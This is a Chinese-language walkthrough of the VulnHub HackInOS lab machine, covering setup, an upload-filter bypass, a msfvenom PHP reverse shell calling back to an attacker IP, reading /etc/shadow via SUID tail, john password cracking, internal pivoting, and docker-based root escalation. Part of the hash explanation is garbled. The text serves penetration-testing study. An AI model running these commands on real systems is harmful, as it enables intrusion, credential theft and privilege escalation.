一、靶机下载
下载链接:www.vulnhub.com/hackinos/Ha…
二、HackInOS靶机搭建
靶机:
靶机HackInOS需要用VirtualBox导入ova文件
可修改靶机导入位置
设置网络模式
完成后,启动靶机即可。
kali攻击机:
VMware虚拟机桥接模式,桥接的网卡选择跟靶机同一个网卡
kali攻击设置为桥接模式
环境搭建完后
三、攻击过程
kali IP:192.168.56.102
靶机IP:192.168.56.101
1、主机发现
2、端口扫描
3、端口服务识别
4、漏洞复现及利用
访问目标网站
目录扫描
访问http://192.168.56.101:8000/robots.txt
发现上传点以及上传目录
右键查看源代码拉到最后,发现
访问对应的github,发现泄露上传页面源码
审计源码,发现对上传的文件做了限制(限制上传的mime类型为image/png或者image/gif),然后对上传后的文件进行了重命名处理(文件名拼接1~100之间的随机数,然后在对拼接之后的文件名进行MD5加密,获得新的文件名)
通过对源码的分析,发现只对上传的文件mime类型做了限制,没有限制文件后缀,可以通过在文件内容开头添加GIF89a来绕过服务器端的限制
在php反弹内容开头添加GIF89a并上传。
msf生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=6666 > ftshell.php
文件成功上传,但是不知道文件名,运行python脚本,生成文件名字典
使用dirb爆破webshell目录,成功爆破出来目录(因上传多次,所以出现多个文件)
在Kali测试机上打开msfconsole,exploit/multi/handler模块,指定IP和端口进行监听,然后放到后台。
python -c ‘import pty;pty.spawn("/bin/bash")’
提权
对主机进行信息收集,查看wordpress配置文件
查看开放的端口
上传一个Linux提权信息收集脚本,下载地址:www.securitysift.com/download/li…
输出的信息有点多,这一行出现了docker的相关信息,盲猜运行在docker中,先继续往下看。
可以看到tail被设置了suid
(SUID是一种特殊权限,设置了SUID的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。SGID与SUID类似,只是执行程序时获得的是文件属组的权限)
(tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。
格式:
tail [参数] [文件]
参数:
-f 循环读取
-q 不显示处理信息
-v 显示详细的处理信息
-c<数目> 显示的字节数
-n<行数> 显示文件的尾部 n 行内容
–pid=PID 与-f合用,表示在进程ID,PID死掉之后结束
-q,–quiet,–silent 从不输出给出文件名的首部
-s,–sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S秒)
(/etc/shadow 文件用于存储 Linux 系统中用户的密码信息,又称为“影子文件”,只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性)
直接用tail命令读取shadow文件
( 6 6 6开头的,表明是用SHA-512加密的, q o j 6 / J J i qoj6/JJi qoj6/JJi这里中间表示盐,FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/是密文,另外 1 1 1是md5加密, 2 2 2是blowfish加密, 5 5 5是SHA-256加密)
将 6 6 6qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/保存到1.txt文件,使用john进行爆破,成功破解出密码john
使用su root登录root,成功登录
内网渗透
查看ip,发现是内网ip
msf反弹shell
Msf 生成payload
把payload在靶机的root权限下执行,msf等待反弹
使用自动添加路由模块,添加通往靶机的路由
扫描内网网段
发现172.18.0.2开放了3306端口
使用之前在wordpress配置文件中找到的用户名和密码,尝试登录数据库
查看敏感信息,发现host_ssh_cred,查看host_ssh_cred表里的内容,发现经过加密的密码
使用md5在线解密hummingbirdscyber/ 123456
ssh登录靶机
提权
docker run -v /:/root -i -t ubuntu /bin/bash 成功获得root权限
总结:
1、信息收集
2.github源码泄露
3、python编写脚本生成随机文件名,dirb爆破目录
4、目标疑似有自动清理程序,菜刀失败,使用反弹shell
5、使用tail -c1K 查看/etc/shadow文件,使用john爆破root的密码
6、内网渗透,使用msf反弹shell,添加路由,端口扫描、主机发现
7、docker 提权
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。